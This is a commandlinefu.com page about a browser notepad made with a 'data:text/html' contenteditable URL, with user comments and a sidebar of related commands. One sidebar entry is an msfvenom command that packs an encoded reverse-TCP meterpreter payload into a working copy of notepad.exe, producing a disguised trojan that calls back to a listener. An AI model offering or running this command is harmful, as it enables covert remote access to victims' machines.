Notepad in a browser (type this in the URL bar)

data:text/html, <html contenteditable>
It doesn't save your notes, but it's great for jotting something down quickly.

19
By: dtlp747
2013-04-10 19:28:22

These Might Interest You

  • A commandline version of the notepad in a browser: http://www.commandlinefu.com/commands/view/12161/notepad-in-a-browser-type-this-in-the-url-bar All credit to the origional author of this fantastic command, whos only failing as most of the comments pointed out was that it wasn't a command... well, now its a command. Send all upvotes to dtlp747.


    2
    firefox 'data:text/html, <html contenteditable>'
    LinuxMan · 2013-04-14 02:13:03 1
  • There are many ways to do it on *nix. But on Windows, it's a bit convoluted. I use the above command expression in a batch file to check if a process is running already before running it again. I use this is a batch file I created to switch between 2 different versions of PowerBuilder (PB). I wanted to make sure, one version of PB is not running, before letting the user to switch, hence this check. (replace notepad.exe with PB125.exe above). /nh means no header, /fi means filter. We are filtering for Notepad.exe only above. Then, we take that and look for Notepad.exe using a FindStr command. It will still work, even if we don't have those 2 flags, but it makes finding the right program quicker. && and || are part of the conditional expressions see here: http://www.robvanderwoude.com/condexec.php. We use these to print for the IF...ELSE condition. >nul is the equivalent of Unix /dev/null Rest is self explanatory, I think. Show Sample Output


    0
    tasklist /nh /fi "imagename eq notepad.exe" | findstr /i "notepad.exe" >nul && (echo Notepad is running)|| (Echo Notepad is not running)
    unixmonkey80767 · 2014-08-22 00:52:19 0
  • Create and encode a reverse tcp meterpreter payload with shikata_ga_nai 5 times and use notepad.exe as template while keeping the original functionality and output to notepad.exe.


    0
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e x86/shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepod.exe
    f3bruary · 2011-09-12 14:00:32 0
  • Pass the files path to finfo(), can be unix path, dos path, relative or absolute. The file is converted into an absolute nix path, then checked to see if it is in-fact a regular/existing file. Then converted into an absolute windows path and sent to "wmic". Then magic, you have windows file details right in the terminal. Uses: cygwin, cygpath, sed, and awk. Needs Windows WMI "wmic.exe" to be operational. The output is corrected for easy... finfo notepad.exe finfo "C:\windows\system32\notepad.exe" finfo /cygdrive/c/Windows/System32/notepad.exe finfo "/cygdrive/c/Program Files/notepad.exe" finfo ../notepad.exe Show Sample Output


    0
    finfo() { [[ -f "$(cygpath "$@")" ]] || { echo "bad-file";return 1;}; echo "$(wmic datafile where name=\""$(echo "$(cygpath -wa "$@")"|sed 's/\\/\\\\/g')"\" get /value)"|sed 's/\r//g;s/^M$//;/^$/d'|awk -F"=" '{print $1"=""\033[1m"$2"\033[0m"}';}
    lowjax · 2013-12-30 07:47:41 0

What Others Think

not a shell command .. downvote.
dezza · 270 weeks and 6 days ago
j0rg3 · 270 weeks and 6 days ago
Agreed; not a shell command -- but I still like it as being handy.
j0rg3 · 270 weeks and 6 days ago
Even though not a shell command, it will come very handy. I've been looking for such a feature for a long time. Upvoted !
erix · 270 weeks and 5 days ago
Not a shell command, but hey that's pretty cool. Upvoted!
Strawp · 270 weeks and 4 days ago
yes, it's handy, but how does it work ?
pheigenbaum · 270 weeks and 1 day ago
I must agree. As cool as this is, it's not a "command line" command. Downvote as a result.
atoponce · 270 weeks and 1 day ago
TAKE CARE! For running this command you have to turn on js running on the address bar (it's off by default, at least in Firefox). And that's a security risk.
lunixfu · 267 weeks and 2 days ago

What do you think?

Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

You must be signed in to comment.

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands



Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: